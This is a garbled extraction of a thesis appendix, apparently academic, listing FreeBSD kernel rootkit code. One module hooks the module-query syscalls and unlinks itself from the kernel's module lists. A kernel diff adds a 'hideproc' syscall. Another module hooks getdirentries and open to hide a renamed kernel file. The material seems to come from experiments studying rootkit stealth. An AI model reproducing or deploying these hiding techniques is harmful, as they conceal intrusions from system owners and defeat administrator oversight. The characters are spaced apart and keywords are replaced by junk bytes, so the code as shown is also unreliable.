165 / *
166 * Def i ni t i on of cor r espondi ng sysent s t r uc t ur es .
167 * /
168

169 �


 � � ��
 r epl ace_sysent {
170

�	��
 num; / * sys t em cal l number * /
171 �


���� ��
 sysent my ; / * my ver s i on of sys t em cal l * /
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172 �


���� ��
 sysent or i g; / * or i gi nal ver s i on of sys t em cal l * /
173 } ;
174

175 �


�� 

� �

�


�� � � 
 r epl ace_sysent r epl ace_sysent [ ] = {
176 {
177 SYS_modnext , / * modnex t * /
178 { SYF_MPSAFE | AS( modnex t _ar gs ) , ( sy_cal l _t * ) mymodnext , AUE_NULL

} ,
179 { 0, NULL , AUE_NULL }
180 } ,
181 {
182 SYS_modf next , / * modf nex t * /
183 { SYF_MPSAFE | AS( modf nex t _ar gs ) , ( sy_cal l _t * ) mymodf next ,

AUE_NULL } ,
184 { 0, NULL , AUE_NULL }
185 } ,
186 {
187 SYS_kl df i r s t mod , / * k l df i r s t mod * /
188 { SYF_MPSAFE | AS( k l df i r s t mod_ar gs ) , ( sy_cal l _t * ) myk l df i r s t mod ,

AUE_NULL } ,
189 { 0, NULL , AUE_NULL }
190 } ,
191 {
192 SYS_kl dnext , / * k l dnex t * /
193 { SYF_MPSAFE | AS( k l dnex t _ar gs ) , ( sy_cal l _t * ) myk l dnext , AUE_NULL

} ,
194 { 0, NULL , AUE_NULL }
195 } ,
196 {
197 SYS_kl df i nd , / * k l df i nd * /
198 { SYF_MPSAFE | AS( k l df i nd_ar gs ) , ( sy_cal l _t * ) myk l df i nd , AUE_NULL

} ,
199 { 0, NULL , AUE_NULL }
200 } ,
201 {
202 SYS_kl ds t at , / * k l ds t at * /
203 { SYF_MPSAFE | AS( k l ds t at _ar gs ) , ( sy_cal l _t * ) myk l ds t at , AUE_NULL

} ,
204 { 0, NULL , AUE_NULL }
205 } ,
206 {
207 SYS_modf i nd , / * modf i nd * /
208 { SYF_MPSAFE | AS( modf i nd_ar gs ) , ( sy_cal l _t * ) mymodf i nd , AUE_NULL

} ,
209 { 0, NULL , AUE_NULL }
210 } ,
211 {
212 SYS_modst at , / * mods t at * /
213 { SYF_MPSAFE | AS( mods t at _ar gs ) , ( sy_cal l _t * ) mymodst at , AUE_NULL

} ,
214 { 0, NULL , AUE_NULL }
215 } ,
216

�

� � � � ��� DEBUG
217 {
218 SYS_kl dunl oad , / * k l dunl oad * /
219 { SYF_MPSAFE | AS( k l dunl oad_ar gs ) , ( sy_cal l _t * ) myk l dunl oad ,

AUE_NULL } ,
220 { 0, NULL , AUE_NULL }
221 } ,
222 {
223 SYS_kl dunl oadf , / * k l dunl oadf * /
224 { SYF_MPSAFE | AS( k l dunl oad_ar gs ) , ( sy_cal l _t * ) myk l dunl oadf ,

AUE_NULL } ,
225 { 0, NULL , AUE_NULL }
226 } ,
227

�

� � �
� �
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228 {
229 - 1, { 0, NULL , AUE_NULL } , { 0, NULL , AUE_NULL }
230 }
231 } ;
232

233 / *
234 * Modul e handl i ng.
235 * /
236

237 �


�� 

� � ����
 myhandl er ( �


�� � ��
 modul e * modul e , �	��
 what , ������� * ar g) {
238

�	��
 er r or = 0;
239 �


���� ��
 r epl ace_sysent * p = r epl ace_sysent ;
240

241 ���

��
���
 ( what ) {
242

���

�

� MOD_LOAD :
243 / * save my modul e and l i nker f i l e i d * /
244 mymodi d = modul e - >i d;
245 myf i l ei d = modul e - >f i l e - >i d;
246

247
�
� � ( p = r epl ace_sysent ; p- >num > 0; * p++) {

248 / * backup ol d syscal l s * /
249 p- >or i g = sysent [ p- >num] ;
250 / * r epl ace wi t h my syst em cal l s * /
251 sysent [ p- >num] = p- >my ;
252 }
253

�

� ����� � DEBUG
254 pr i nt f ( " Loaded  mal i c i ous  modul e .  Li nker  f i l e  i d :  %d.  

Modul e  i d:  %d\ n" , myf i l ei d , mymodi d ) ;
255

�

� � �
� �

256 pr i nt f ( " Our  Pay l oad  i s  j us t  t hi s  message ! \ n" ) ;
257

�

� � ��� ;
258

���

�

� MOD_UNLOAD :
259 / * r es t or e or i gi nal sys cal l s * /
260

�
� � ( p = r epl ace_sysent ; p- >num > 0; * p++)
261 sysent [ p- >num] = p- >or i g ;
262

�

� ����� � DEBUG
263 pr i nt f ( " Unl oaded  mal i c i ous  modul e \ n" ) ;
264

�

� � �
� �

265
�

� � ��� ;
266

� ����� � � 
 :
267 er r or = EOPNOTSUPP;
268

�

� � ��� ;
269 }
270

� � 
 ����� ( er r or ) ;
271 }
272

273 �


�� 

� � modul edat a_t my_mal i c i ous_modul e_dat a = {
274 " my_mal i c i ous_modul e" ,
275 myhandl er ,
276 NULL
277 } ;
278

279 DECLARE_MODULE( my_mal i c i ous_modul e , my_mal i c i ous_modul e_dat a , SI _SUB_DRI VERS ,
SI _ORDER_MI DDLE) ;

� �

Listing C.2: /home/alm/exp1/hide-modu le-v 2.c� �
1

�

����� � � � � <sys / par am. h>
2

�

����� � � � � <sys / modul e . h>
3

�

����� � � � � <sys / ker nel . h>
4

�

����� � � � � <sys / sys t m. h>
5

�

����� � � � � <sys / sx . h>
6

�

����� � � � � <sys / l ock . h>
7

�

����� � � � � <sys / queue. h>
8

�

����� � � � � <sys / l i nker . h>
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9
�

����� � � � � <sys / mut ex . h>
10

11
�

�����
����� DEBUG
12

13

���� ��� ��� TAI LQ_HEAD( , modul e ) modul el i s t _t ;

14

15 �


 � � ��
 modul e {
16 TAI LQ_ENTRY( modul e ) l i nk ;
17 TAI LQ_ENTRY( modul e ) f l i nk ;
18 �


���� ��
 l i nker _f i l e * f i l e ;
19

�	��
 r ef s ;
20

�	��
 i d;
21

��
�� � * name;
22 modevent hand_t handl er ;
23

������� * ar g ;
24 modspec i f i c_t dat a;
25 } ;
26

27 �


�� 

� � ����
 mymodi d ;
28 �


�� 

� � ����
 myf i l ei d ;
29

30 / * gl obal l i s t of l i nker f i l es * /
31

����
�� ��� l i nker _f i l e_l i s t _t l i nker _f i l es ;
32

33 / * gl obal l i s t of modul es * /
34

����
�� ��� modul el i s t _t modul es ;
35

36 / * next f r ee i ds f or modul es r esp. l i nker f i l es * /
37

����
�� ��� ����
 next i d ;
38

����
�� ��� ����
 nex t _f i l e_i d;
39

40
����
�� ���

�


�� � � 
 mt x k l d_mt x ;
41

42 / *
43 * Modul e handl i ng.
44 * /
45

46 �


�� 

� � ����
 myhandl er ( �


�� � ��
 modul e * modul e , ����
 what , ������� * ar g) {
47

�	��
 er r or = 0;
48

49 ���

��
���
 ( what ) {
50

���

�

� MOD_LOAD :
51 / * save my modul e and l i nker f i l e i d * /
52 mymodi d = modul e - >i d;
53 myf i l ei d = modul e - >f i l e - >i d;
54

55 / * r emove f r om l i s t of l i nker f i l es * /
56 mt x_l ock ( &k l d_mt x ) ;
57 TAI LQ_REMOVE( &l i nker _f i l es , modul e - >f i l e , l i nk ) ;
58 mt x_unl ock ( &k l d_mt x ) ;
59

60 / * dec r ease r ef er ence count of ker nel l i nker f i l e * /
61 l i nker _ker nel _f i l e - >r ef s - - ;
62

63 / * r emove f r om l i s t of modul es * /
64 TAI LQ_REMOVE( &modul es , modul e , l i nk ) ;
65

66 / * dec r ease number of next avai l abl e modul e i d * /
67 next i d - - ;
68

69 / * dec r ease number of next avai l abl e l i nker f i l e i d * /
70 next _f i l e_i d - - ;
71

�

� ����� � DEBUG
72 pr i nt f ( " Loaded  mal i c i ous  modul e .  Li nker  f i l e  i d :  %d.  

Modul e  i d:  %d\ n" , myf i l ei d , mymodi d ) ;
73

�

� � �
� �
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74 pr i nt f ( " Our  Pay l oad  i s  j us t  t hi s  message ! \ n" ) ;
75

�

� � ��� ;
76

���

�

� MOD_UNLOAD :
77 er r or = 0;
78

�

� � ��� ;
79

� ����� � � 
 :
80 er r or = EOPNOTSUPP;
81

�

� � ��� ;
82 }
83

� � 
 ����� er r or ;
84 }
85

86 �


�� 

� � modul edat a_t my_mal i c i ous_modul e_dat a = {
87 " my_mal i c i ous_modul e" ,
88 myhandl er ,
89 NULL
90 } ;
91

92 DECLARE_MODULE( my_mal i c i ous_modul e , my_mal i c i ous_modul e_dat a , SI _SUB_DRI VERS ,
SI _ORDER_MI DDLE) ;

� �

C.2 Exp erimen t 2: Hiding a Pro cess

Listing C.3: /home/alm/exp2/exp2-insta ll. diff� �
1 di f f - u - r . . / . . / sr c - or i g/ sys / ker n/ i ni t _mai n . c . / ker n / i ni t _mai n . c
2 - - - . . / . . / sr c - or i g / sys / ker n/ i ni t _mai n . c Sun Mar 19 21: 11: 16 2006
3 +++ . / ker n/ i ni t _mai n . c Sun Mar 19 21: 13: 32 2006
4 @@ - 368, 6 +368 , 7 @@
5 p- >p_f l ag = P_SYSTEM;
6 p- >p_sf l ag = PS_I NMEM;
7 p- >p_st at e = PRS_NORMAL ;
8 + p- >p_hi dden = 0;
9 knl i s t _i ni t ( &p- >p_kl i st , &p- >p_mt x , NULL , NULL , NULL) ;

10 p- >p_ni ce = NZERO;
11 t d - >t d_st at e = TDS_RUNNI NG;
12 di f f - u - r . . / . . / sr c - or i g/ sys / ker n/ i ni t _sysent . c . / ker n/ i ni t _sysent . c
13 - - - . . / . . / sr c - or i g / sys / ker n/ i ni t _sysent . c Sun Mar 19 21: 11: 16 2006
14 +++ . / ker n/ i ni t _sysent . c Sun Mar 19 21: 30: 50 2006
15 @@ - 2, 7 +2, 7 @@
16 * Syst em cal l ���

��
���
 t abl e .
17 *
18 * DO NOT EDI T- - t hi s f i l e i s aut omat i cal l y gener at ed .
19 - * $Fr eeBSD: sr c / sys / ker n/ i ni t _sysent . c , v 1. 195 2005/ 07/ 08 15: 06: 58 j hb Exp $
20 + * $Fr eeBSD$
21 * cr eat ed f r om Fr eeBSD: sr c / sys / ker n / syscal l s . mast er , v 1. 198 2005/ 07/ 08

15: 01: 13 j hb Exp
22 * /
23

24 @@ - 271, 7 +271 , 7 @@
25 { 0, ( sy_cal l _t * ) nosys , AUE_NULL } , / * 239 =

t i mer _get over r un * /
26 { SYF_MPSAFE | AS( nanos l eep_ar gs ) , ( sy_cal l _t * ) nanos l eep , AUE_NULL } ,

/ * 240 = nanos l eep * /
27 { 0, ( sy_cal l _t * ) nosys , AUE_NULL } , / * 241 = nosys * /
28 - { 0, ( sy_cal l _t * ) nosys , AUE_NULL } , / * 242 = nosys * /
29 + { SYF_MPSAFE | AS( hi depr oc_ar gs ) , ( sy_cal l _t * ) hi depr oc , AUE_NULL } ,

/ * 242 = hi depr oc * /
30 { 0, ( sy_cal l _t * ) nosys , AUE_NULL } , / * 243 = nosys * /
31 { 0, ( sy_cal l _t * ) nosys , AUE_NULL } , / * 244 = nosys * /
32 { 0, ( sy_cal l _t * ) nosys , AUE_NULL } , / * 245 = nosys * /
33 di f f - u - r . . / . . / sr c - or i g/ sys / ker n/ ker n_pr oc . c . / ker n / ker n_pr oc . c
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34 - - - . . / . . / sr c - or i g / sys / ker n/ ker n_pr oc . c Sun Mar 19 21: 11: 16 2006
35 +++ . / ker n/ ker n_pr oc . c Sun Mar 26 17: 39: 47 2006
36 @@ - 952, 8 +952 , 12 @@
37

� � ( er r or )
38

� � 
 ��� � ( er r or ) ;
39 p = pf i nd ( ( pi d_t ) name [ 0] ) ;
40 - � � ( ! p)
41 + � � ( ! p)
42

� � 
 ��� � ( ESRCH) ;
43 + � � ( p- >p_hi dden ) { / * sk i p hi dden pr ocess * /
44 + PROC_UNLOCK( p) ;
45 + � � 
 ����� ( ESRCH) ;
46 + }
47

� � ( ( er r or = p_cansee ( cur t hr ead , p) ) ) {
48 PROC_UNLOCK( p) ;
49

� � 
 ��� � ( er r or ) ;
50 @@ - 994, 10 +998 , 10 @@
51 p = LI ST_FI RST ( &zombpr oc ) ;
52

��� � ( ; p ! = 0; p = LI ST_NEXT ( p, p_l i s t ) ) {
53 / *
54 - * Sk i p embr yoni c pr ocesses .
55 + * Sk i p embr yoni c and hi dden pr ocesses .
56 * /
57 mt x_l ock_spi n( &sched_l ock ) ;
58 - � � ( p- >p_st at e == PRS_NEW) {
59 + � � ( p- >p_st at e == PRS_NEW | | p- >p_hi dden ) {
60 mt x_unl ock_spi n ( &sched_l ock ) ;
61

��� � 
 ��� � � ;
62 }
63 di f f - u - r . . / . . / sr c - or i g/ sys / ker n/ ker n_pr ot . c . / ker n / ker n_pr ot . c
64 - - - . . / . . / sr c - or i g / sys / ker n/ ker n_pr ot . c Sun Mar 19 21: 11: 16 2006
65 +++ . / ker n/ ker n_pr ot . c Sun Mar 26 17: 39: 51 2006
66 @@ - 203, 6 +203 , 47 @@
67

� � 
 ����� ( 0) ;
68 }
69

70 +/ *
71 + * Hi de a pr ocess
72 + * /
73 +# i f ndef _SYS_SYSPROTO_H_
74 + �


�� � � 
 hi depr oc_ar gs {
75 + pi d_t pi d ;
76 +} ;
77 +#endi f
78 +/ *
79 + * MPSAFE
80 + * /
81 + ����


82 +hi depr oc ( �


 � � ��
 t hr ead * t d , �


 � � ��
 hi depr oc_ar gs * uap)
83 +{
84 + �


�� � ��
 pr oc * p;
85 + �	��
 er r or ;
86 +
87 + � � ( uap - >pi d == 0) {
88 + p = t d - >t d_pr oc ;
89 + PROC_LOCK( p) ;
90 + } � �

�

� {
91 + p = pf i nd( uap - >pi d ) ; / * r et ur ns wi t h p l ocked * /
92 + � � ( p == NULL)
93 + � � 
 ����� ( ESRCH) ;
94 + � � ( p- >p_hi dden ) {
95 + PROC_UNLOCK( p) ;
96 + � � 
 ����� ( ESRCH) ;
97 + }
98 + er r or = p_cansee ( t d , p) ;
99 + � � ( er r or ) {
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100 + PROC_UNLOCK( p) ;
101 + � � 
 ����� ( er r or ) ;
102 + }
103 + }
104 +
105 + p- >p_hi dden =1; / * ac t i vat e s t eal t h mode * /
106 + t d - >t d_r et val [ 0] = p- >p_hi dden ;
107 + PROC_UNLOCK( p) ;
108 + � � 
 � ��� ( 0) ;
109 +}
110 +
111 # i f ndef _SYS_SYSPROTO_H_
112 �


�� � ��
 get ui d_ar gs {
113

����
 dummy ;
114 di f f - u - r . . / . . / sr c - or i g/ sys / ker n/ syscal l s . c . / ker n/ syscal l s . c
115 - - - . . / . . / sr c - or i g / sys / ker n/ syscal l s . c Sun Mar 19 21: 11: 16 2006
116 +++ . / ker n/ syscal l s . c Sun Mar 19 21: 30: 50 2006
117 @@ - 2, 7 +2, 7 @@
118 * Syst em cal l names .
119 *
120 * DO NOT EDI T- - t hi s f i l e i s aut omat i cal l y gener at ed .
121 - * $Fr eeBSD: sr c / sys / ker n/ syscal l s . c , v 1. 181 2005/ 07/ 08 15: 06: 58 j hb Exp $
122 + * $Fr eeBSD$
123 * cr eat ed f r om Fr eeBSD: sr c / sys / ker n / syscal l s . mast er , v 1. 198 2005/ 07/ 08

15: 01: 13 j hb Exp
124 * /
125

126 @@ - 249, 7 +249 , 7 @@
127 " #239" , / * 239 = t i mer _get over r un * /
128 " nanos l eep " , / * 240 = nanos l eep * /
129 " #241" , / * 241 = nosys * /
130 - " #242" , / * 242 = nosys * /
131 + " hi depr oc " , / * 242 = hi depr oc * /
132 " #243" , / * 243 = nosys * /
133 " #244" , / * 244 = nosys * /
134 " #245" , / * 245 = nosys * /
135 di f f - u - r . . / . . / sr c - or i g/ sys / ker n/ syscal l s . mast er . / ker n/ syscal l s . mast er
136 - - - . . / . . / sr c - or i g / sys / ker n/ syscal l s . mast er Sun Mar 19 21: 11: 16 2006
137 +++ . / ker n/ syscal l s . mast er Sun Mar 19 21: 12: 15 2006
138 @@ - 447, 7 +447 , 7 @@
139 240 AUE_NULL MSTD { �	��
 nanos l eep ( �����

�




�


�� � � 
 t i mespec * r qt p , \
140 �


 � � ��
 t i mespec * r mt p) ; }
141 241 AUE_NULL UNI MPL nosys
142 - 242 AUE_NULL UNI MPL nosys
143 +242 AUE_NULL MSTD { �	��
 hi depr oc ( pi d_t pi d ) ; }
144 243 AUE_NULL UNI MPL nosys
145 244 AUE_NULL UNI MPL nosys
146 245 AUE_NULL UNI MPL nosys
147 di f f - u - r . . / . . / sr c - or i g/ sys / sys / pr oc . h . / sys / pr oc . h
148 - - - . . / . . / sr c - or i g / sys / sys / pr oc . h Sun Mar 19 21: 11: 26 2006
149 +++ . / sys / pr oc . h Thu Mar 30 16: 18: 23 2006
150 @@ - 588, 6 +588 , 7 @@
151 �


���� ��
 par gs * p_ar gs ; / * ( c ) Pr ocess ar gument s . * /
152 r l i m_t p_cpul i mi t ; / * ( j ) Cur r ent CPU l i mi t i n seconds. * /
153 �

��� ��� � ��
���� p_ni ce ; / * ( c + j ) Pr ocess " ni ce" val ue . * /
154 + �	��
 p_hi dden ; / * ( j / c ) Make pr ocess hi dden * /
155 / * End ar ea t hat i s copi ed on c r eat i on. * /
156 #def i ne p_endcopy p_xst at
157

158 di f f - u - r . . / . . / sr c - or i g/ sys / sys / syscal l . h . / sys / syscal l . h
159 - - - . . / . . / sr c - or i g / sys / sys / syscal l . h Sun Mar 19 21: 11: 26 2006
160 +++ . / sys / syscal l . h Sun Mar 19 21: 30: 50 2006
161 @@ - 2, 7 +2, 7 @@
162 * Syst em cal l number s .
163 *
164 * DO NOT EDI T- - t hi s f i l e i s aut omat i cal l y gener at ed .
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165 - * $Fr eeBSD: sr c / sys / sys / syscal l . h , v 1. 178 2005/ 07/ 08 15: 06: 58 j hb Exp $
166 + * $Fr eeBSD$
167 * cr eat ed f r om Fr eeBSD: sr c / sys / ker n / syscal l s . mast er , v 1. 198 2005/ 07/ 08

15: 01: 13 j hb Exp
168 * /
169

170 @@ - 209, 6 +209 , 7 @@
171 #def i ne SYS_c l ock_set t i me 233
172 #def i ne SYS_c l ock_get r es 234
173 #def i ne SYS_nanos l eep 240
174 +#def i ne SYS_hi depr oc 242
175 #def i ne SYS_nt p_get t i me 248
176 #def i ne SYS_mi nher i t 250
177 #def i ne SYS_r f or k 251
178 di f f - u - r . . / . . / sr c - or i g/ sys / sys / syscal l . mk . / sys / syscal l . mk
179 - - - . . / . . / sr c - or i g / sys / sys / syscal l . mk Sun Mar 19 21: 11: 26 2006
180 +++ . / sys / syscal l . mk Sun Mar 19 21: 30: 50 2006
181 @@ - 1, 6 +1, 6 @@
182 # Fr eeBSD syst em cal l names .
183 # DO NOT EDI T- - t hi s f i l e i s aut omat i cal l y gener at ed .
184 - # $Fr eeBSD: sr c / sys / sys / syscal l . mk , v 1. 133 2005/ 07/ 08 15: 06: 58 j hb Exp $
185 +# $Fr eeBSD$
186 # cr eat ed f r om Fr eeBSD: sr c / sys / ker n/ syscal l s . mast er , v 1. 198 2005/ 07/ 08 15: 01: 13

j hb Exp
187 MI ASM = \
188 syscal l . o \
189 @@ - 158, 6 +158 , 7 @@
190 c l ock_set t i me. o \
191 c l ock_get r es . o \
192 nanos l eep . o \
193 + hi depr oc . o \
194 nt p_get t i me . o \
195 mi nher i t . o \
196 r f or k . o \
197 di f f - u - r . . / . . / sr c - or i g/ sys / sys / syspr ot o . h . / sys / syspr ot o . h
198 - - - . . / . . / sr c - or i g / sys / sys / syspr ot o . h Sun Mar 19 21: 11: 26 2006
199 +++ . / sys / syspr ot o . h Sun Mar 19 21: 30: 50 2006
200 @@ - 2, 7 +2, 7 @@
201 * Syst em cal l pr ot ot ypes .
202 *
203 * DO NOT EDI T- - t hi s f i l e i s aut omat i cal l y gener at ed .
204 - * $Fr eeBSD: sr c / sys / sys / syspr ot o . h, v 1. 177 2005/ 07/ 08 15: 06: 58 j hb Exp $
205 + * $Fr eeBSD$
206 * cr eat ed f r om Fr eeBSD: sr c / sys / ker n / syscal l s . mast er , v 1. 198 2005/ 07/ 08

15: 01: 13 j hb Exp
207 * /
208

209 @@ - 723, 6 +723 , 9 @@
210

��
�� � r qt p_l _ [ PADL_( �����

�




�


�� � � 
 t i mespec * ) ] ; �����

�




�


�� � ��
 t i mespec *
r qt p ; ��
���� r qt p_r _ [ PADR_( �����

�




�


�� � ��
 t i mespec * ) ] ;
211

��
�� � r mt p_l _ [ PADL_( �


�� � ��
 t i mespec * ) ] ; �


�� � ��
 t i mespec * r mt p; ��
����

r mt p_r _ [ PADR_( �


�� � ��
 t i mespec * ) ] ;
212 } ;
213 + �


�� � � 
 hi depr oc_ar gs {
214 + ��
���� pi d_l _ [ PADL_( pi d_t ) ] ; pi d_t pi d ; � 
���� pi d_r _ [ PADR_( pi d_t ) ] ;
215 +} ;
216 �


�� � ��
 nt p_get t i me_ar gs {
217

��
�� � nt vp_l _ [ PADL_( �


�� � ��
 nt pt i meval * ) ] ; �


�� � � 
 nt pt i meval * nt vp; � 
����

nt vp_r _ [ PADR_( �


�� � ��
 nt pt i meval * ) ] ;
218 } ;
219 @@ - 1520, 6 +1523 , 7 @@
220

�	��
 c l ock_set t i me( �


�� � ��
 t hr ead * , �


�� � ��
 c l ock_set t i me_ar gs * ) ;
221

�	��
 c l ock_get r es ( �


 � � ��
 t hr ead * , �


�� � ��
 c l ock_get r es_ar gs * ) ;
222

�	��
 nanos l eep ( �


���� ��
 t hr ead * , �


 � � ��
 nanos l eep_ar gs * ) ;
223 + ����
 hi depr oc ( �


�� � ��
 t hr ead * , �


�� � ��
 hi depr oc_ar gs * ) ;
224

�	��
 nt p_get t i me ( �


�� � � 
 t hr ead * , �


���� ��
 nt p_get t i me_ar gs * ) ;
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225
�	��
 mi nher i t ( �


�� � ��
 t hr ead * , �


�� � ��
 mi nher i t _ar gs * ) ;
226

�	��
 r f or k ( �


 � � ��
 t hr ead * , �


�� � � 
 r f or k_ar gs * ) ;
� �

C.3 Exp erimen t 3: Manipulation of File Access

Listing C.4: /home/alm/exp3/hide-file -kl d.c� �
1

�

����� � � � � <sys / par am. h>
2

�

����� � � � � <sys / modul e . h>
3

�

����� � � � � <sys / sysent . h>
4

�

����� � � � � <sys / ker nel . h>
5

�

����� � � � � <sys / sys t m. h>
6

�

����� � � � � <sys / syspr ot o . h>
7

�

����� � � � � <sys / syscal l . h>
8

�

����� � � � � <bsm/ audi t _kevent s . h>
9

�

����� � � � � <sys / di r ent . h>
10

�

����� � � � � <sys / pr oc . h>
11

12

13

14

15

16

17

18

19

20

21

22
�

�����
����� DEBUG
23

�

�����
����� LEAVEEXEC
24

25
�

�����
����� AS( name) ( �

��� ��� � ( �


 � � ��
 name) / �

������� � ( r egi s t er _t ) )
26

27 / *
28 * Fi l ename of hi dden or i gi nal ker nel f i l e . I t must have
29 * t he same l engt h as ` ` ker nel ' ' , whi ch i s 6.
30 * /
31

�

�����
����� NAME_OF_ORI G_KERNEL " ker nOK"
32

33 / *
34 * Def i ni t i on of mal i c i ous ver s i ons of sys t em cal l s .
35 * /
36

37 �


�� 

� � ����
 myget di r ent r i es ( �


 � � ��
 t hr ead * t d , �


 � � ��
 get di r ent r i es_ar gs * uap) {
38

�	��
 er r or = 0;
39 �


���� ��
 di r ent * dp , * next dp ;
40

�	��
 l en ;
41

�	��
 r ec l en ;
42

�	��
 of f set = 0; / * by t e of f set i n di r ent s t r uc t ar r ay * /
43

44 / *
45 * Ret ur ns :
46 * ( 1) The ent r i es of t he gi ven di r as an ar r ay of di r ent s t r uc t s :
47 * uap - >buf
48 *
49 * ( 2) The l engt h of t hat ar r ay == Number of by t es t r ans f er r ed:
50 * t d - >t d_r et val [ 0]
51 * /
52 er r or = get di r ent r i es ( t d , uap) ;
53

54 l en = t d - >t d_r et val [ 0] ; / * ( 2) * /
55 dp = ( �


�� � ��
 di r ent * ) uap - >buf ; / * ( 1) * /
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56

57 �


 � � � ( of f set <l en) {
58 r ec l en = dp - >d_r ec l en ; / * l engt h of cur r ent ent r y * /
59 next dp = ( �


�� � ��
 di r ent * ) ( ( � 
���� * ) dp + r ec l en ) ;
60

� � ( s t r cmp( dp- >d_name , NAME_OF_ORI G_KERNEL) ==0) {
61 / * del et e cur r ent ent r y * /
62 bcopy ( next dp , dp , l en - of f set ) ;
63 l en - =r ec l en ;
64 } ���

�

� {
65 of f set +=r ec l en ; / * move of f set over t o t he next ent r y * /
66 dp = next dp ;
67 }
68 }
69

70 t d - >t d_r et val [ 0] = l en ; / * r et ur n updat ed l en * /
71

� � 
 ����� ( er r or ) ;
72 }
73

74 / *
75 * Thi s i s not ver y el egant , but we wi l l l eave i t f or now.
76 * /
77 �


�� 

� � ����
 myopen ( �


�� � � 
 t hr ead * t d , �


�� � � 
 open_ar gs * uap ) {
78

�	��
 er r or = 0;
79

80
� � ( s t r cmp ( uap - >pat h , " ker nel " ) ==0) {

81 st r cpy ( uap - >pat h , NAME_OF_ORI G_KERNEL) ;
82 er r or = open( t d , uap) ;
83 st r cpy ( uap - >pat h , " ker nel " ) ;
84 }
85

� �

�

� � � ( s t r cmp( uap - >pat h , " . / ker nel " ) ==0) {
86 st r cpy ( uap - >pat h , " . / " NAME_OF_ORI G_KERNEL) ;
87 er r or = open( t d , uap) ;
88 st r cpy ( uap - >pat h , " . / ker nel " ) ;
89 }
90

� �

�

� � � ( s t r cmp( uap - >pat h , " / boot / ker nel / ker nel " ) ==0) {
91 st r cpy ( uap - >pat h , " / boot / ker nel / " NAME_OF_ORI G_KERNEL) ;
92 er r or = open( t d , uap) ;
93 st r cpy ( uap - >pat h , " / boot / ker nel / ker nel " ) ;
94 }
95

� �

�

� {
96 er r or = open( t d , uap) ;
97 }
98

99
� � 
 ����� ( er r or ) ;

100 }
101

102
�

� � � � ��� LEAVEEXEC
103 �


�� 

� � ����
 myexecve ( �


�� � ��
 t hr ead * t d , �


�� � ��
 execve_ar gs * uap) {
104

�	��
 er r or = 0;
105

106 er r or = execve ( t d , uap) ;
107

108
� � 
 ����� ( er r or ) ;

109 }
110

�

� � �
� �

111

112 / *
113 * Def i ni t i on of cor r espondi ng sysent s t r uc t ur es .
114 * /
115

116 �


 � � ��
 r epl ace_sysent {
117

�	��
 num; / * sys t em cal l number * /
118 �


���� ��
 sysent my ; / * my ver s i on of sys t em cal l * /
119 �


���� ��
 sysent or i g; / * or i gi nal ver s i on of sys t em cal l * /
120 } ;
121
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122 �


�� 

� �

�


�� � � 
 r epl ace_sysent r epl ace_sysent [ ] = {
123 {
124 SYS_get di r ent r i es , / * get di r ent r i es * /
125 { SYF_MPSAFE | AS( get di r ent r i es_ar gs ) , ( sy_cal l _t * )

myget di r ent r i es , AUE_NULL } ,
126 { 0, NULL , AUE_NULL }
127 } ,
128 {
129 SYS_open , / * open * /
130 { SYF_MPSAFE | AS( open_ar gs ) , ( sy_cal l _t * ) myopen , AUE_NULL } ,
131 { 0, NULL , AUE_NULL }
132 } ,
133

�

� � � � ��� LEAVEEXEC
134 {
135 SYS_execve , / * execve * /
136 { SYF_MPSAFE | AS( execve_ar gs ) , ( sy_cal l _t * ) myexecve , AUE_NULL

} ,
137 { 0, NULL , AUE_NULL }
138 } ,
139

�

� � �
� �

140 {
141 - 1, { 0, NULL , AUE_NULL } , { 0, NULL , AUE_NULL }
142 }
143 } ;
144

145 / *
146 * Modul e handl i ng.
147 * /
148

149 �


�� 

� � ����
 myhandl er ( �


�� � ��
 modul e * modul e , �	��
 what , ������� * ar g) {
150

�	��
 er r or = 0;
151 �


���� ��
 r epl ace_sysent * p = r epl ace_sysent ;
152

153 ���

��
���
 ( what ) {
154

���

�

� MOD_LOAD :
155

�
� � ( p = r epl ace_sysent ; p- >num > 0; * p++) {
156 / * backup ol d syscal l s * /
157 p- >or i g = sysent [ p- >num] ;
158 / * r epl ace wi t h my syst em cal l s * /
159 sysent [ p- >num] = p- >my ;
160 }
161

�

� ����� � DEBUG
162 pr i nt f ( " Loaded  mal i c i ous  modul e . \ n" ) ;
163

�

� � �
� �

164
�

� � ��� ;
165

���

�

� MOD_UNLOAD :
166 / * r es t or e or i gi nal sys cal l s * /
167

�
� � ( p = r epl ace_sysent ; p- >num > 0; * p++)
168 sysent [ p- >num] = p- >or i g ;
169

�

� ����� � DEBUG
170 pr i nt f ( " Unl oaded  mal i c i ous  modul e \ n" ) ;
171

�

� � �
� �

172
�

� � ��� ;
173

� ����� � � 
 :
174 er r or = EOPNOTSUPP;
175

�

� � ��� ;
176 }
177

� � 
 ����� er r or ;
178 }
179

180 �


�� 

� � modul edat a_t my_mal i c i ous_modul e_dat a = {
181 " my_mal i c i ous_modul e" ,
182 myhandl er ,
183 NULL
184 } ;
185
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186 DECLARE_MODULE( my_mal i c i ous_modul e , my_mal i c i ous_modul e_dat a , SI _SUB_DRI VERS ,
SI _ORDER_MI DDLE) ;

� �
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